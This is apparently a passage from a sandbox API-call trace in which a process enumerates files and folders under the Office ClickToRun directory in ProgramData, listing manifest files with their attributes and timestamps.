	[0063.169] FindNextFileW (in: hFindFile=0xbaa808, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110186f1, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1
	[0063.169] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\*", lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110186f1, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa208
	[0063.178] FindNextFileW (in: hFindFile=0xbaa208, lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110186f1, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.178] FindNextFileW (in: hFindFile=0xbaa208, lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x113f8423, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x113f8423, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x108693, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1
	[0063.178] FindNextFileW (in: hFindFile=0xbaa208, lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x113f8423, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x113f8423, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x108693, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0
	[0063.180] FindClose (in: hFindFile=0xbaa208 | out: hFindFile=0xbaa208) returned 1
	[0063.181] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x38b0088 | out: hHeap=0x2720000) returned 1
	[0063.181] FindNextFileW (in: hFindFile=0xbaa808, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1
	[0063.181] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\*", lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa308
	[0063.181] FindNextFileW (in: hFindFile=0xbaa308, lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.181] FindNextFileW (in: hFindFile=0xbaa308, lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x10ff2492, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x10ff2492, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x447ce00, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x460b47, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1
	[0063.181] FindNextFileW (in: hFindFile=0xbaa308, lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x10ff2492, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x10ff2492, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x447ce00, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x460b47, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0
	[0063.181] FindClose (in: hFindFile=0xbaa308 | out: hFindFile=0xbaa308) returned 1
	[0063.182] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x38b0088 | out: hHeap=0x2720000) returned 1
	[0063.182] FindNextFileW (in: hFindFile=0xbaa808, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0
	[0063.182] FindClose (in: hFindFile=0xbaa808 | out: hFindFile=0xbaa808) returned 1
	[0063.182] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3890078 | out: hHeap=0x2720000) returned 1
	[0063.183] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A6A87302-92AE-41F2-AC52-73F5EE18259F", cAlternateFileName="A6A873~1")) returned 0
	[0063.183] FindClose (in: hFindFile=0xbaa8c8 | out: hFindFile=0xbaa8c8) returned 1
	[0063.183] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3870068 | out: hHeap=0x2720000) returned 1
	[0063.183] FindNextFileW (in: hFindFile=0xbaa748, lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserData", cAlternateFileName="")) returned 1
	[0063.183] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\UserData\\*", lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa488
	[0063.184] FindNextFileW (in: hFindFile=0xbaa488, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.184] FindNextFileW (in: hFindFile=0xbaa488, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0063.184] FindClose (in: hFindFile=0xbaa488 | out: hFindFile=0xbaa488) returned 1
	[0063.184] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3870068 | out: hHeap=0x2720000) returned 1
	[0063.184] FindNextFileW (in: hFindFile=0xbaa748, lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 1
	[0063.184] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\*", lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa6c8
	[0063.199] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.207] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437adb83, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x437adb83, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x247ecc35, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44e23, dwReserved0=0x0, dwReserved1=0x0, cFileName="AirSpace.Etw.man", cAlternateFileName="AIRSPA~1.MAN")) returned 1
	[0063.208] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2686ce0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x91f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Access.Access.x-none.msi.16.x-none.xml", cAlternateFileName="C25A45~1.XML")) returned 1
	[0063.208] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd356d87a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe71c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.accessmui.msi.16.en-us.xml", cAlternateFileName="C222C2~1.XML")) returned 1
	[0063.208] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd31d9ff6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.accessmuiset.msi.16.en-us.xml", cAlternateFileName="C2FB2E~1.XML")) returned 1
	[0063.208] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed6f62ed, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed6f62ed, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd26f9444, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3f14, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", cAlternateFileName="C210C4~1.XML")) returned 1
	[0063.208] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed6f62ed, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed6f62ed, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd31415cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.dcfmui.msi.16.en-us.xml", cAlternateFileName="C206B0~1.XML")) returned 1
	[0063.208] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed611426, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed611426, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd252f7b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39d9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", cAlternateFileName="C21578~1.XML")) returned 1
	[0063.208] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed5c4f9a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed5c4f9a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd330b2e9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.excelmui.msi.16.en-us.xml", cAlternateFileName="C2D2CD~1.XML")) returned 1
	[0063.208] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd23fe538, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8f8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", cAlternateFileName="C233DB~1.XML")) returned 1
	[0063.208] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3298bbd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x180e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.groovemui.msi.16.en-us.xml", cAlternateFileName="C26024~1.XML")) returned 1
	[0063.209] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd257bc65, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1979c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", cAlternateFileName="C25956~1.XML")) returned 1
	[0063.209] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed578aca, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed578aca, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd32bedda, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5b94, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.lyncmui.msi.16.en-us.xml", cAlternateFileName="C2FCD6~1.XML")) returned 1
	[0063.209] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed5063b1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed5063b1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3593a88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.office32mui.msi.16.en-us.xml", cAlternateFileName="C2BADD~1.XML")) returned 1
	[0063.209] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed3d50b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed3d50b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2cc8f5f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4f3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.office32ww.msi.16.x-none.xml", cAlternateFileName="C2EBFE~1.XML")) returned 1
	[0063.209] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed31650e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed31650e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd36c4db5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19870, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.officemui.msi.16.en-us.xml", cAlternateFileName="C29059~1.XML")) returned 1
	[0063.209] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2f02a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2f02a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd38424c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.officemuiset.msi.16.en-us.xml", cAlternateFileName="C2467F~1.XML")) returned 1
	[0063.209] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2f02a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2f02a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd295b9b9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17b3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", cAlternateFileName="C21839~1.XML")) returned 1
	[0063.209] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2ca0b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2ca0b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd375d6d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4a4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.onenotemui.msi.16.en-us.xml", cAlternateFileName="C24C3D~1.XML")) returned 1
	[0063.210] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a3e81, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2a3e81, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd29a7ddb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", cAlternateFileName="C24EFF~1.XML")) returned 1
	[0063.210] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a3e81, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2a3e81, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3678904, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b28, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.osmmui.msi.16.en-us.xml", cAlternateFileName="C25F09~1.XML")) returned 1
	[0063.210] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed25796c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed25796c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd28c2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x906, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", cAlternateFileName="C22C6F~1.XML")) returned 1
	[0063.210] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed25796c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed25796c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd362c40f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.osmuxmui.msi.16.en-us.xml", cAlternateFileName="C21C45~1.XML")) returned 1
	[0063.210] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed25796c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed25796c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd276bb03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17194, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", cAlternateFileName="C29151~1.XML")) returned 1
